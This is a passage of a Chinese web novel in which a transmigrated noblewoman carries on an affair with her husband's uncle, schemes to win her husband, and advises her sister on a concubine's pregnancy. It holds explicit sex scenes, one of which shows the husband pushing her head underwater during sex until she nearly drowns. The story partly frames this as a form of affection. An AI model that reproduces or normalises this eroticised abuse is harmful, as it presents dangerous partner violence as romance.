“肏你,真是一件过瘾的事情,我还要不够呢。不过今儿这情景不太适合。我们再另找时间吧。”说完後,他给了我一个吻。就起身穿上衣服,撩帐下榻穿鞋,利落地跳窗离开。

见傅画沂已经走了,我也连忙起身拿起里衣,刚要穿上,见整件里衣居然全被我从下体处流出来的汁液给弄湿了。不过还好这件里衣是棉布做的,吸水性很好,没有让汁液流到床榻的毯子上。

我捏著里衣的两角,摊开来看。微微拧起眉头,很是苦恼,该怎麽办呀?这样湿的里衣穿在身上定是会著凉生病的。可是不穿这件里衣,我又该如何将这件里衣带回竹院呢?

我咬了咬牙,决定不管那麽多了,先穿上再说。

……

穿好衣服後,为了以防万一突然有人来,我下了床榻,拿起香炉,到床帐里熏。只到把床榻上那股性爱的味道全部遮盖掉了,我才把香炉拿回到案几上。

再回到床帐里,把毯子被褥都抚地平平的。然後再呆坐在床榻里发呆。等床帐里恢复了原来的气味时,才唤了珍珠进来……

11.07.07

第033章一样米养百样人(慎)

一回到竹院,我立即吩咐琥珀去烧水。因为除了我的里衣沾了湿漉漉的淫水外还沾上了傅画沂的精液,我必须亲手处理才行。

“夫人,水放好了。”翡翠站在隔扇门边禀报道。

我点了点头,立马起身去了被当成浴室的西梢间,还在里面的琥珀知道我的规矩,连忙曲膝一礼,就要退出去。

“琥珀,我要泡澡,你叫珍珠进来服侍我吧。”我洗澡是不需要人服侍的,但是今日的情况不同,我要泡澡不是洗澡,必须有个丫鬟在身旁不停地在水桶里住入热水。

我一抬头,扑捉到了琥珀稍稍一变的脸色,刹那,我立马明白到自己这样的行为有多麽的不妥。琥珀、玛瑙、珍珠、翡翠都是我身边的大丫头,可我最近好像越来越器重珍珠,去请安或者去别的院子里走动都只带著珍珠,倒把另外的三个大丫鬟给忽略了。现在我又舍近求远的要琥珀出去,让珍珠来服侍,这不是明白的告诉琥珀,我偏心了吗?

我转眸,平淡道,“出去吧。”人心是隔肚皮的,我无法轻易相信一个人。对珍珠比较亲近,可能是因为我来这个世界时,第一个见到的人是珍珠,也可能是因为珍珠做事稳妥,处事的手腕圆滑,为我所喜欢。所以才比较容易接受她吧。虽然知道我现在的做法很伤人也很不理智,但是我绝对不可以心软,因为我必须对我自己的生命负责。

“是。”琥珀的声音听起来很难过。

我愣了愣了,随即想到,这样一个受过严格培训的大丫鬟,怎麽会如此的情绪外露?这麽说,她这是在“演戏”,那麽她的目的应该是要勒索我心底的怜惜了。

但……

我终究还是心软了……

我侧过头,对琥珀说,“琥珀,要得到某种东西就必须得付出,你明白吗?”

“是夫人,琥珀明白了。”看著琥珀晶亮的眼睛,我知道她听明白了。

要得到我的信任,就必须得付出真心。

我现在对珍珠的重用其实也还不是信任……

☆☆

躺在氤氲著雾气的水桶里,闭上眼睛,让温柔的热水在我身体上游走,是一件很享受的事情。热水澡不仅能让全身的细胞放松,消除身体上的疲劳,还会让酸痛的肌肉不再酸肉。所以,人在疲惫时最需要的不是睡觉,而是泡澡。

“夫人呢?”隔扇门外传来了傅雁竹的声音。

真够背的,傅雁竹怎麽会在这个时候回来?

“回侯爷,夫人在西梢间里。”琥珀规规矩矩的回答声传来。

“嗯。”不用琥珀明著说,傅雁竹一听我在西梢间里头,就应该明白我在洗澡了。窘,虽然他现在是我的丈夫,但是被一个男人知道自己正在洗澡,怎麽感觉有点怪怪的。

……

过了大约十分锺,隔扇门外传来了傅雁竹的声音,“都这麽久了,她怎麽还不出来?”

“回侯爷,夫人在泡澡……泡澡所用的时间,会比较久一些。”琥珀小心翼翼的回答道。

“泡澡?本侯只听说过洗澡,还没听说过什麽泡澡的。她怎麽时不时的就给本侯整出些奇怪的花样来?”傅雁竹空灵飘逸的声音变得有那麽些尖锐,看来又要发火了。

正这般想著,隔扇门被人推开一扇,抬眼只见傅雁竹越过了百蝶穿花的屏风,来到了我的面前。

“侯爷。”珍珠见他进来,连忙惊呼一声後方才慌张地给傅雁竹行了礼,显然她是被傅雁竹突然的进入吓到了。

“侯爷,您进来做甚麽?”我瞪圆了眼睛,一瞬也不瞬的盯著他看。

傅雁竹挑了挑眉,轻佻地坏笑道,“为了看夫是人如何‘泡澡’。”

我撇了撇嘴,嘟了嘟脸颊,像要跟他赌气似的,转头吩咐珍珠,“珍珠你还愣著做甚麽,侯爷都说要看本夫人洗澡了,你还快去给侯爷搬张方凳来。”

珍珠愣了愣,应了声是,就出去搬了方凳来。

傅雁竹挑了挑眉,翘唇一笑,落落大方的坐在珍珠搬进来的方凳上,漆黑又清澈的眼睛一瞬不瞬地看著水桶里的我。

我不禁把眼睛瞪得更大了,傅雁竹怎麽还真坐下了?

“侯爷,您出去!”

“不是你叫我坐下来的吗?”傅雁竹嘴角含著笑,一脸平静的看著我。

“可是我要泡澡!侯爷你一个大男人在这里不觉的不方便吗?”我歪著头,一脸的不愤。略带著稚嫩的娇软嗓音压抑不住的泻出了恼意来。

傅雁竹勾了勾唇,挥了挥手,撵珍珠出去。他撩了袍子,蹲在木桶边,伸手拉扯著我的脸颊,叹息了一下下,低吟道,“毕竟是年纪小,经不住刺激啊。你有多少耐性,只要轻轻的一激,就被激出了本性来。……看看,看看你现在的这副死德性!啧啧啧啧~~~看来,你平素里在祖母、母亲、丫头面前那一副温婉贤淑的样子,全都是装出来的。……想要学贵族里面小姐们的温婉贤淑是要有真本事的,看你,画虎不成反类犬,你没本事就不要学人家了,真真是把我的脸面都丢尽了!”

我气得脸色铁青。

不知道是傅雁竹本来的性子就这般的恶劣,还是他故意要针对我,反正,他就是动不动的就把我惹得怒火朝天。

这世上,怎麽会有这样性子的男人!

明明他是个思想成熟的男人,可为什麽总是对我做出幼稚的一塌糊涂的事呢?仿佛只要我生气,他就打心眼里觉得舒坦。

不过,这样的情况我怎麽觉得好熟悉……

脑袋迷迷糊糊的,不由回想起遥远的童年来,好像男生喜欢女生就是这样的表达方式。一个男生越是喜欢一个女生,就越发的要欺负那个女生……

等等!

我的眼睛猛的晶亮了起来,难道……

莫非……

一样米养百样人,他们的表达方式也是千奇百怪。我怎麽就死脑筋的转不过弯来呢?

脑筋不灵光真真是浪费了好多的时间。明明我想要的东西就放在我面前了,我还到处的找。真真是自己给自己找罪受啊。

“你怎麽不把衣服给脱了?”傅雁竹突然转开了话题,他把手伸进水桶里,摸了摸我著了里衣的胸脯。

“呵呵……”知道了某某人的心思後,我心情变得很愉快,我笑眯了眼,和颜悦色地回答他,“我喜欢穿著衣服泡澡。”

“傻笑甚麽?别笑了,像个笨蛋似的。”傅雁竹抬眼睨了我一眼,大手扯开了我里衣的衣襟,抓著我的乳房,捏了又捏,眼神色迷迷的,“怎麽又没穿肚兜?”

我把眼眯成一条线,弯弯地翘起嘴角,不答反问道,“侯爷,您知道你此刻的这个样子像什麽?”

“像什麽?”明明知道我在里头设了陷阱,傅雁竹依旧热忱地往里面跳。

“像个采花贼!”

“你见过?”傅雁竹愣了一下,抬眸看我的眼睛,笑的很开心,像是抓住了我的小辫子一样。毕竟一个大家闺秀如果见过了采花贼,还真是个要命的把柄。给人捏住了,那可是要毁闺誉的大事情。

“在戏文上看过的。”我咧嘴笑了起来,这样子,太得意了,像是炫耀没有被傅雁竹抓去了把柄。

傅雁竹垂眉,神色很是愉快,像摸小猫小狗一样的摸了摸我的头,嘲讽一样的夸赞了我一下,“嗯。的确是个聪明的笨蛋。”

又损人,不过怎麽越来越没有技术含量了?

☆☆

“侯爷,水桶很大。您要不要下来一起泡澡?”一直把玩著我的乳房,不腻吗?

傅雁竹睨了我一眼,冷冷道,“水脏了。”

“呃!”我被自己的口水咽了个正著,太过分了,这世上怎麽会有他这样尖酸刻薄的男人?!

“侯爷,水凉了,您帮我加热水进来。”现在这个天气的热水就是容易凉。

“本侯从来不伺候人。”傅雁竹的声音懒洋洋的。

“那侯爷您出去,我叫珍珠进来服侍。”加个热水而已,这也叫伺候人?

“你要搞清楚,本侯不是你能呼之则来挥之则的。”哗啦一声,他用手掬了一掌水,抹在我的鼻子和嘴巴上。

“咳、咳──!!”鼻子和嘴巴猛的被灌了水,我难受的直掉泪眼。

我胸口上的怒火倏地被引爆,我双手齐掬水,往他的身上泼去。

“唔,你做甚麽?!脏死了。”傅雁竹拧了眉,连忙跳开,快速地动手脱衣服。不一会儿功夫,他就全身赤条条的。“起来,吩咐人抬水来给我洗澡。”

我低垂著头,装做没听见。

“你听到了没有?”

我琢磨著傅画沂流在我里衣上的精液已经被泡没了,就伸手把里衣扯掉,然後掬了两掌花瓣往胸口上擦。

“耳朵聋了,是不是?”傅雁竹伸手抓住了我的两条手臂,把我的身子从水桶里扯了出来。

“喏,水桶里不是已经有水了吗?”我撅著嘴,往水桶的方向努了努。

傅雁竹面部表情很狰狞,“那水脏了,你不知道吗?”

“哪里脏了,明明是晶莹剔透的可以当镜子照。”我气得胸口发闷,他自己有严重的洁癖,却还逼著我每天用他洗过的洗脚水洗脚。天!这是怎麽样的歹毒心思?

“哈欠!哈欠!!”我接连打了两个喷嚏,皮肤上起了鸡皮疙瘩,“呼,呼~~好冷。侯爷,我冷~~~”我伸手紧紧抱住了他的腰肢,大力的扭动著自己的腰肢,把身子上的水珠都磨蹭到他的身上去(绝对是恶意的。)。

“侯爷,我好冷~~您抱抱我……”我抬起一条腿勾住他结实的屁股磨蹭。

“唔……”傅雁竹的喉咙里发出了性感的声调。

用腿肚磨蹭著他的屁股几十来下後,我就玩腻了,放下腿,微微分开腿,踮起脚尖,把他胯间那条慢慢胀起的阴茎夹住,再前後耸动著身体,玩他的阴茎。

不过,光用双腿夹他的阴茎显然还不够刺激,我伸手急躁地摸著他的胸脯,微微仰著头,张著小嘴,性感的呻吟,“唔~~哦,哦,……侯爷,侯爷……”

“唔!呃,……”搁的我的双腿间的硬度,让我的穴都流出水来了。

明明才被傅画沂的阴茎塞过,怎麽又开始想要了?

“侯爷,嗯……啊,唔,唔~~~……”我夹紧双腿间的肉,踮起脚尖,拉下他的头,亲吻他的嘴。

唔唔~

性爱是甜点,我越吃越爱。

下体的水吧嗒吧嗒的往地上掉,小穴里的肉跳动的好生厉害。

在脑袋快因为缺氧晕过去的时候,我放开了傅雁竹的嘴,转过身去,走到水桶边,将两手按在水桶边沿上,弯著腰,微微扭著屁股,软软地喊道:“侯爷,您快来啊。”

我还没有站在被阴茎从後面插入的经验,心里竟生出了淫荡的期待。

傅雁竹喘著粗气,站在我的身後。硕大的阴茎抵在我的屁股上跳动。

“淫娃!”傅雁竹嗓音沙哑极了,他双手箍在我的腰肢两侧,道,“自己拿著阳具插进去。”

“是,侯爷。”我乖巧地应声,微微侧著头,急躁地伸出手抓住了他的阴茎,用他的龟头磨蹭著已经被淫水弄的湿淋淋的小穴口,然後用龟头缓缓地挤开小穴口,让小穴口夹住阴茎上的龟头,再把屁股往後忽然的一撅!只听“咕滋”一声,傅雁竹那根硕大的阴茎插进我穴里一大半。

“啊!”我舒服的浑身颤抖。

“呃──”傅雁竹高亢地呻吟了一声,小腹猛的向前凶猛的一撞!

“哎呀──”他的阴茎全根插进我体内,我的身子猛的向前撞,我差点栽到水桶里去了。

嗯哼,我的下体处被塞的满满的,一股股无比快慰的电流以小穴为中心,向我的全身发散。

“哦,喝。你真是找死,下面这麽小,还喜欢用这样的姿势。”他一边咬牙切齿地说,一边耸动著臀部,挺著他的大阴茎开始缓缓地肏著我的阴道。

“可是这样的姿势能够让侯爷更舒服,不是吗?”其实我是贪新鲜,觉得这样肏比较好玩。

傅雁竹冷哼了一声,道,“哼。你太矮了,你那里把我的阳具往下拖,哪里来的更舒服?”

“那……找个东西给我垫脚吧。”像昨天我站在石头上微微开著双腿让傅画沂肏一样的道理。

“不用那样麻烦!你抓紧木桶。”傅雁竹说道。

“啊?”傅雁竹打算什麽做?

“啊──”我脑袋正在思考他要如何做的时候,他突然抓著我的腰肢,提高了我的屁股,让我的双脚无法著地。我吓地连忙紧抓住桶沿,阴道因为刚才的惊吓疯狂的翕动了起来。

“哦,哦!呃~~笨蛋!你想夹断我吗?”

“我不要用这个姿势,你放下我。”我乱扭著屁股。

“哦!真舒服,用力扭吧。”傅雁竹在我的身後沙哑的呻吟,用力一挺臀部,把他的耻骨紧紧抵在我的屁股上。

听他这样说,我就不扭了。竟然他想要用这样的姿势做爱,那当然是他动了。

“扶稳桶沿,知道了吗?”

“嗯。”我点了点头,双手抓紧了桶沿。

傅雁竹哼了两声,抓在我腰上的手紧了紧,又扭了扭插在我体内的阴茎,调整出一个可以让他更舒服的姿势後,又开始耸动屁股,一下接一下的戳了起来。

“嗯、嗯、嗯……嗯、嗯、嗯嗯嗯嗯嗯、嗯、嗯、嗯──!”他戳我一下,我就相应的呻吟出一个音调,音调的频率越高,说明他的速度也越快。

“呃唔。屁股上的肉好麻,像有很多蚂蚁在爬。”我感觉自己屁股上的肉被傅雁竹向前插的力道撞的一阵一阵的颤动。

不一会儿功夫,我的乳房一坠一坠的,像要从我的身体上掉下去了,我低下头去看自己的乳房,只见自己的乳房跟随著傅雁竹进出的频率,前後左右的甩动成一波又一波的浪涛。

“感觉怎麽样?”傅雁竹的嘴趴在我的耳边轻轻地问。

“呼,呼。好舒服……侯爷……我们,我们换一个姿势吧……”我一边喘气一边回答。

“呼,呼。你刚才不是扭著屁股要我用这样的姿势进入你吗?现在怎麽要换姿势呢?嗯。”

“侯爷……唔,哈啊……这样的姿势很舒服,可是我的手臂支撑不住了呀。”

“求我。”

男人就是这样变态,总希望女人求他们什麽。

“求、求您了,侯爷。”我是个脸皮厚的,要我拉下脸去求他什麽,其实容易的很。

“这麽容易就投降了?”傅雁竹懒洋洋地说话,却并没有要换姿势的打算。

“侯爷,您不是说求您了,您就会换姿势吗?啊,啊……”手臂快支撑不住了……

“我是要你求我,不过我可没说要换姿势。”

“呜呜……”我不行了──

突然,我的手臂一软,我的头往水桶里栽──

“咳,咳咳咳──”我本能的想抓住桶沿,却被傅雁竹粗暴的一推,头又浸到了水桶里。

“咳,咳咳、咳咳──傅雁竹你,唔──咳咳──你 想谋杀……咳──咳……咕噜,咕噜~~”因为惊吓,我下面的肉翕动的更加厉害了起来。

傅雁竹只抓了我一个屁股,我的双脚在空中胡乱的踢动,双手在水桶里拼命的滑动……

就在这样的时刻里,傅雁竹箍紧了我的屁股,耻骨发疯似的撞击著我的屁股,仿佛要用他的阴茎把我的阴道给捅穿了去……

啪啪啪啪啪啪啪啪啪啪──

就在我快要被自己的洗澡水溺死的时候,傅雁竹一声嘶吼,他以一记又凶又狠的猛击结束了抽插,射出了精液……

☆☆

“咕噜,咕噜──”傅雁竹射了精後,毫不留恋的放开了我的屁股,让我的头朝著木桶底部,沈下了身子。

“咳,咳咳──傅雁竹你混蛋!!”经过一翻挣扎,我终於从木桶里爬起身来。

傅雁竹勾著唇角,露出一个平静的笑,呢哝问道,“怎麽样?你这干净的能当镜子照的洗澡水好喝吗?”

“你、你是故意的。”我指控道。

“哼!~~难道现在你会认为我是‘无意’的吗?笨蛋!”

“~~你知不知道这样子会死人的!我差点就被淹死了!”

傅雁竹冷哼道,“那正好,你成为被自己洗澡水淹死的第一人。”

我从木桶里出来,愤怒地攥紧了拳头,扑向他,把尖锐的指甲插进他的肌肉里,刮开了一道又一道的血口。“你太过分了!这样的行为不可以被原谅!”

“侯爷、夫人!”外面传来了珍珠和湖泊焦虑的惊呼声,让我恢复了理智。

天哪!我刚才做了什麽,我居然把傅雁竹的胸膛给抓个遍体鳞伤!

“唔!你这个疯女人!”傅雁竹重重的推开了我。

“你才是个疯男人!”我手指颤巍巍地指著他的脸,依旧愤怒,“有些事情是可以做,有些事情是不能做。我泼你一身的水是我不对,要你洗我用来泡澡的水也是我不对,你可以直接扇我几个耳光或者是直接攥起拳头打我,但是你不可以用这样的方式对待我!……这样的方式实在太残忍了,一不小心就会伤了人的性命。”

这件事情让我明白到我是高兴的太早了。或许傅雁竹现在是有那麽点喜欢我的意思,但是这种喜欢还只是建立在我没有惹到他的前提下。

这个游戏果然不是简简单单就能通关的,要征服这些个男人需要的考验与挑战实在太多太多了。我要牢记今儿的教训,今後不可以再如此得意忘形了。

傅雁竹拧眉看著我严肃的小脸,冷讽道,“嗤!浸在水里一会儿就会死人吗?!你未免太孤弱寡闻了吧。”

我呆住了,原来,他并不认为他那样的行为是过分了。

我定定地瞅著他,情绪恢复了平静,“如果今天是我故意把侯爷的头按在水桶里呢?侯爷的态度还会不会这般的平静?”

他眼神一愣,很显然,是从来没想过这样的问题。

我垂下眉,平静道,“将心比心,侯爷就会知道我刚才为何会那样的愤怒。更何况世间的事情没有绝对,最怕的就是‘万一’,人的性命只有一次,我不想在无意中丢掉。”

我见他表情认真地在听我说话,立马勒索道,“有道是‘已所不欲,勿施於人。’侯爷,今後还请您不要让我用您的洗脚水洗脚了。”

傅雁竹这时眯起了眼睛,冷笑道,“闭嘴!你不要太得寸进尺了!”

“呃?”我错愕地瞪大了眼睛。

静默了好一会儿,他又道,“今日的事是我欠缺考虑。所以,你抓伤我的事我就不与你算账了。但是,若有再次,你自己想想会有什麽後果!”这是一副施恩的口吻。

我惊愕到无以复加,明明是他做错了事情!到头来怎麽反倒变成他在施与我恩惠?!

“滚出去,吩咐人换桶热水来。”

“……”我呆呆地站在原地没有动。

“你耳朵聋了,没听见我说的话吗?”

“侯爷身上有伤,不可以洗澡。”那伤口好深,沾了水後恐怕会发炎。

“那还不都是你刮的!你还有脸说?!”

我睨了他一眼,很平静地说道,“那伤,侯爷不是说不与我计较吗?今儿侯爷还是不要洗澡的好。”他的伤口若发炎了,我岂不是成了罪魁祸首?

“滚出去!”

我当他没说话,一边穿衣服,一边自顾自地说下去,“还是巾帕稍稍地擦一擦吧。”

随後我扬声朝外面喊话,“珍珠,打盆热水来。”

2011.07.12

第034章要人喜欢,就必须有点性格

“若要人喜欢你,就必须有点性格。”这话是我姐姐刺槐常挂在嘴边的。

女人的性格有百样,但无论是哪一样的性子,若是一味的对男人千依百顺,时间久了,就算你长的颜色再好,在男人的眼里也会失去吸引力。

女人可以对男人妩媚,可以对男人天真,也可以对男人冷淡,但必须有自己为人处世的原则和坚持。因为在名为爱情的游戏里,性格绝对是影响命运的关键。

再说了,想要得到就必须得付出。天下间没有白白得来的好处,自然也就没有白白得来的感情,我要得到傅雁竹的爱情,就必须有相应的付出。比如关心他的身子,比如挂心他的饮食。

所以在傅雁竹身子带伤的情况下,我一反平日里温婉的性子,以强势的姿态不让他洗澡。

虽然我不让他洗澡,让他发了很大的一通火,但是他眼里那团复杂的情焰却告诉我,我这样做是正确的。

“夫人,大姑奶奶打发人送了张请帖来。”听见声音,我转头,只见翡翠手里拿著一帖精致的红色纸片向我走来。

“哦。”我伸手接住,打开了纸片,只见里面里面只写著“请妹妹来吃茶”这六个字。

“噗!”我笑了,鸢尾给我感觉真有点像刺槐。──这是姐姐的感觉。

“夫人笑甚麽?”翡翠见我笑得开心,不由发问。

“没什麽,大姑奶奶邀我去她府上吃茶呢。”

☆☆

“侯爷,我大姐送了请帖,邀我到国公府上吃茶去。”我垂著眉,软软地向傅雁竹请示著。

傅雁竹顿了顿,随後他把手上的书掷开,懒洋洋地睨了我一眼,淡淡道,“大姨子才嫁去国公府没多久就命人送帖子邀夫人去她府上吃茶,可夫人嫁过来差不多都五个月了,也没见夫人请自己娘家人过府里吃茶什麽的。你这是什麽意思?嗯。”傅雁竹心里想什麽就会直接跟我说什麽,从来都不顾虑我的感受也就算了,现在还在一屋子丫鬟面前还这样下我的面子,这样的男人……

真是可恶可恼可恨可憎……

“我还不是怕您不高兴……”我垂著头,盯著自己的脚尖看。实际情况是我根本不了解这个时代,根本不晓得这个的妇女的交际礼仪。

“嗤!请别府的夫人、太太过府来吃个茶什麽的,这是基本交际!这样的事情是你身为侯府夫人应该做的事情。你不反省自己做错事,反倒把责任一股脑的都推到我头上来,真是长本事了。嗯?”

“是,妾身知错了。”这样的事情,没有和他争辩的必要,我柔顺地直接认错。

“认错倒是快,但愿你是真的知道自己错在哪里,而不是随便敷衍我了事。”傅雁竹根本就不给我面子,当著丫鬟的面像在教训小孩一样的训我。

“是,妾身会把侯爷的话牢牢记在心里。”

傅雁竹眉毛一挑,恼道,“我要你记住我的话做甚麽?真是个愚蠢的,我是要你明白你自己该怎麽做好‘侯爷夫人’!”

真是的,真是的,他真是太过分了。他还有完没完?

“妾身明白。”不生气,不生气,为了这样的事情就跟他生气实在是没必要。

“嗯,你去吧。记得去库房取些礼物带过去。”

我又不是小孩,这样的人情世故岂用他来教!我哭笑不得,不知道该骂傅雁竹太小看我了,还是该骂傅雁竹越来越太鸡婆了?

“是。”我垂眉轻应了一声,转身就要离开。

突然傅雁竹又叫住了我,“慢著,叫许妈陪你去选礼物。像你这样小气巴拉的性子,定会选些轻的送,到时候丢了你自己的脸不说,还让人把我侯府看低了去。”

我深吸了一口气,应了声“是。”连这样的侮辱我都能忍,我不得不夸赞自己在傅雁竹不断的鞭策下,忍功可谓是越来越强悍了。

“嗯。”他点了点头,挥了挥手,道,“去吧,在别人家里不可以像在自己家里一样随便乱走乱逛,要是你丢了侯府的脸,你自己掂量著会有甚麽後果吧!”

天哪!我再次怨恨这世界上怎麽会有傅雁竹这样的男人?!

“是,妾身知道了。”我依旧低眉敛眼,温婉如水。

11.07.13

第035章鸢尾的烦心事

将近腊月,天越发的冷了起来。

我缩著脖子,快速地踩著一个小厮的後背爬上了马车。

马车!辘!辘的行了一阵子後,缓缓停了下来。

耶?难道是国公府到了?

“妹妹,你总算来了。”这是鸢尾的声音。

珍珠撩了车帘,我再度踩著小厮的背下了马车。

“大姐,怎麽冷的天,你怎麽站在外面等?看看你,手儿都凉了。”我抓住鸢尾的手放进自己的手掌心里捂。

鸢尾呵呵一笑,道,“妹妹要来,我这个做姐姐的当然要出来等了。”

我跟著软软地笑起,有这样的一个姐姐,真是幸福,只可惜我不是她原本的那个木槿妹妹了。

☆☆

我趴在窗上,看著阴沈沈的天,问道,“大姐,天这麽冷,该不是要下雪了吧?”

“嗯。”站在我身旁的鸢尾含笑地点了点头。

我感叹道,“不过今年的雪天,我不能再和大姐一起玩雪了。”

“是啊。没想到时间过的这样的快,一眨眼,我们都嫁人了。”

我不由自主地安慰道,“大姐何必感伤?就算嫁人了,我们还是好姐妹啊。”

“嗯。”鸢尾微微一笑,闭上她水水的双眸,温柔地把她的头靠著我的头。

静默了一会儿,我又问道,“大姐,姐夫对你好吗?”

鸢尾笑道,“新婚燕尔,哪里有不好的?”

“大姐这话,我听著怎麽觉得你话里有话?大姐,是不是姐夫欺负你了?”如果这话是我说,那没什麽问题,可是从鸢尾的嘴里说出,听著就觉得怪。

“噗!”鸢尾笑了出声,“从那天傅雁竹出手帮了我们叶家後,我便不怕你被人欺负了去,怎的,现在反轮到你怕我被人欺负了?你放心,没人能欺负了我去。”

“可大姐的脸上明明写了个‘愁’字?”我伸手抚了抚鸢尾的脸。

鸢尾白了我一眼,笑骂道,“又在混扯!人的脸上哪里能写上字?”

“可我就是看到了呀。”我扯了扯鸢尾的衣袖,撒娇道,“姐姐,我们是姐妹,你有什麽事不可以跟我说的?”

鸢尾叹了一口气,笑道,“倒也没什麽,只是家家有本难念的经罢了。”

“……”我定定地盯著鸢尾的眼睛,却并不开口说话。

鸢尾挽著我的手,我们并排坐在临窗的榻子上,这时她才说道,“夫君的通房丫头有喜了,等她生了孩子後,夫君就会抬她做姨娘。”

“什麽!”我噌地一声站起身来,鸢尾才嫁过来不久,姐夫的通房丫头有喜了?

“那个通房丫头生出的孩子不就是国公府的长孙?!”虽然是庶长孙,但也是长孙啊,在这个时代,长子、长孙的地位都很高的。

鸢尾水弯弯的眸子望向窗外,眼神飘忽,抿紧唇,没有开口说话。

我拧了眉,道,“可是,在国公府这样的大家族里面,为了不引起家族里的内斗,不是有给通房丫头喝什麽避子汤药吗?不是说只有在确保正室生下嫡长子後才允许通房丫头什麽的生孩子的吗?”

“她一直都有喝,只是那药不知道怎麽的,在她身上就失效了。”鸢尾冷冷地说道。

“药怎麽会失效了?这究竟是什麽一回事?”因为是沈如净的事情,所以我格外的上心。

鸢尾揉了揉眉心,道,“宫里来的太医说她的体质特殊,对避子汤药产生了抵抗能力。”

“哦……”我垂眉思考了一会儿,才抬眼看鸢尾,“姐姐,那通房丫头跟了姐夫多久。”

鸢尾拧了拧眉,道,“据说有两年了。”

我眯著眼睛思考,道,“姐姐,我觉得这件事情有古怪。按理说……她若真对避子汤药有什麽抵抗能力,那麽她早该就有了身孕了。”

“妹妹?”鸢尾水水的眸子一瞬不瞬地盯著我看,显然是不太明白。我在心底轻叹,成了亲的女人怎麽总会跟没成亲前判若两人?鸢尾在没成亲前,是那样的机敏。

我笑了笑,道,“姐姐,我们爹爹是学医的,我们从小就耳濡目染惯了的。在这样重要的事情上你怎麽就糊涂了起来?她的体质若真是抗药的,就会一直都抗药,不会前头两年不抗药,如今突然抗药了起来。”

鸢尾眯起眼道,“果然是个不安分的。”

我怕鸢尾会做出什麽不理智的事情来,就开口提醒道,“只是……这世上隔了两年才有孩子的女人也是有的。所以,我们在没有掌握足够证据的情况下只能怀疑她在耍手段……”

鸢尾是精明的,她点点头,双眸晶亮,人明显比刚才精神多了,“这件事我知道该怎麽做。她要真是个抗药的倒也罢了,若是她在这中间耍了什麽手段的……哼!不用我出手,夫君自然是饶她不过。”

我歪著头,不解地问,“大姐为何这样说?”

鸢尾淡淡地笑起,“夫君此人平生最恨的就是有人背著他耍些小手段。那女人如果有胆子做,那麽她就要有那个胆子承担接下来的後果。”

“大姐是说她肚子里的孩子会不保?”再怎麽样,那孩子也是沈如净的骨肉啊。

鸢尾点了点头,道,“那样算计来的孩子,夫君绝对是不容许她生出来的。况且,夫君是怎麽样的人家?他还怕少了个孩子吗?”

“呃……”富贵人家的心肠实在是……

“妹妹,你怎麽了?”

“啊,没什麽,如果是真的,那麽那个女人也太可怕了。”我道。

鸢尾柔柔地叹息,道,“傻妹妹,这世上那样的女人多了去了,好在妹夫身边倒是干净的,妹妹不用为防著那样的女人费尽心神。”

“嗯。”我笑著垂下了头,傅雁竹那样的变态,他的身边就算有别的女人,恐怕那女人也受不了他那样的诡异性子吧。

“不过,我发现妹妹嫁人後越来越机灵了,这样的事情,我一说你就听出不对劲来。我却笨拙的一直都没发现其中的不对来。”

我笑著摇摇头,道,“姐姐是当局者,有些事情难免被心思左右而看不清楚,我这个旁人自然是看得比姐姐清楚。”

鸢尾捻帕一笑,道,“你这丫头,怎麽就是容不得别人夸赞你好呢。”

我笑道,“是姐姐夸赞的太过分了,我听了不自在。”

鸢尾咯咯笑起,道,“别的先不说,你这张嘴倒真是越发厉害起来。”

我也随之笑起,“呵呵,姐姐谬赞了。”

“你们姐妹讲甚麽,笑的这样开心?”身後又一道好听性感的男性声音传来。

我转头,心脏重重的一跳。

啊,是沈如净!

我连忙站起身,向沈如净曲膝行了一礼,笑道,“我和姐姐正在讲姐夫的坏话呢。”

沈如净愣了愣,随後笑起,“你这妮子倒是活泼的很。”

我抿嘴一笑,道,“哪里是活泼?姐姐常说我性子虽是柔顺却也木讷的很呢。”

沈如净挑了挑他好看的眉,笑道,“哦,那倒是鸢尾评价错误了,你这样子,我可看不出是哪里木讷了。”沈如净笑起来的样子犹如三月烟雨,朦胧又梦幻。

我转头对鸢尾眨了眨眼,笑道,“大姐,你听到了没?姐夫说你对我的评价是错误的呢。”

鸢尾噗嗤一笑,取笑道,“看把你给得意的,但愿你是真的活泼而不是木讷。”随後她转眸向沈如净,声音柔地可以滴出水来了,“今儿怎麽这麽早就回来了?”

沈如净道,“嗯。朝里无事,就早些回来了。”

“夫君在外面吃过饭了没有?”

沈如净淡淡回道,“还没。”

鸢尾眼睛晶亮,她小心翼翼地说道,“我们现在正要吃呢,夫君要不要一起吃?”

我在旁边看的眼睛都发直了,鸢尾这样骄傲的人,对沈如净说话,却是如此的低声下气。

11.07.13

第036章爱情期待

天上的雪斜斜得下,眼睛向远处看去。只觉得那雪,白白的,亮亮的,像是会发光的一样。

我轻轻地吐出了一口白色的雾,情不自禁地抬手捉雪来玩,片片纯白的雪花却宛如抓不住的涓涓水流一样从我的指缝间一滑而过,任我什麽也捉不著。

“雪地滑,小心摔倒。”一阵性感好听的声音从我的身後传来。

我震了一下身子,转过头去,见是傅画沂,便露出了惊讶的表情,“三叔,您怎麽也来这里了?”今儿傅画沂出现的突然,根本就不在我的计划内。

“我是跟著你来到这里。”本来这样的话应该是很孟浪的话儿,可经由他的嘴,我却听不出有任何轻薄的意思。

“三叔跟著我做甚麽?”我歪著头,尽量让自己的脸上显现出迷茫。

傅画沂叹息一声,摇了摇头,道,“真是孩子心性,这麽快就把我给忘记了。”他顿了顿,又道,“可是,我不是你的玩具,你玩腻了,就可以丢。”

我用呆呆的眼神看著他,“三叔这话……我听不明白。”

傅画沂直接了当地问道,“近些日子为何不来我的院子里。”

“因为近些日子,我实在忙。”我说著,就扳著手指一一数来给他听,“……前前天,我家大姐又请我过府去吃茶。前天,林太太请我过去观看皇上赏赐下的西洋琉璃屏风。昨天,我回请了各府的夫人、太太们。今天,因为下雪,所以我才得空闲出来玩会儿雪。”

傅画沂很有礼地听我说完长篇大话後,才凉凉地呵斥,“有功夫玩雪,怎麽就没功夫去我的院子里了?”

“三叔,我累了好几天了,实在没那个气力去应酬人了。”我垂下头,样子很不安地玩著裙摆。

傅画沂暖暖地笑起,道,“呵。还真是个老实的孩子。”

我抬眼看他,笑弯了眼,软软道,“只要三叔不怪罪我就好。”

“和我在一起,你也会觉得是应酬人吗?”傅画沂突然又开口问道。

“呃。”我没防备他会突然这样问,一时间,竟被问愣了。

“怎麽?三叔这个问题很难回答吗?”

我连忙摇摇头,咬了咬唇,笑答,“不、不是。不是的。我只是没想到三叔会问我这样的问题。”

“哦。”他轻应了一声後,漆黑的双眸就直勾勾地盯著我看,等著我的接下来的回答。

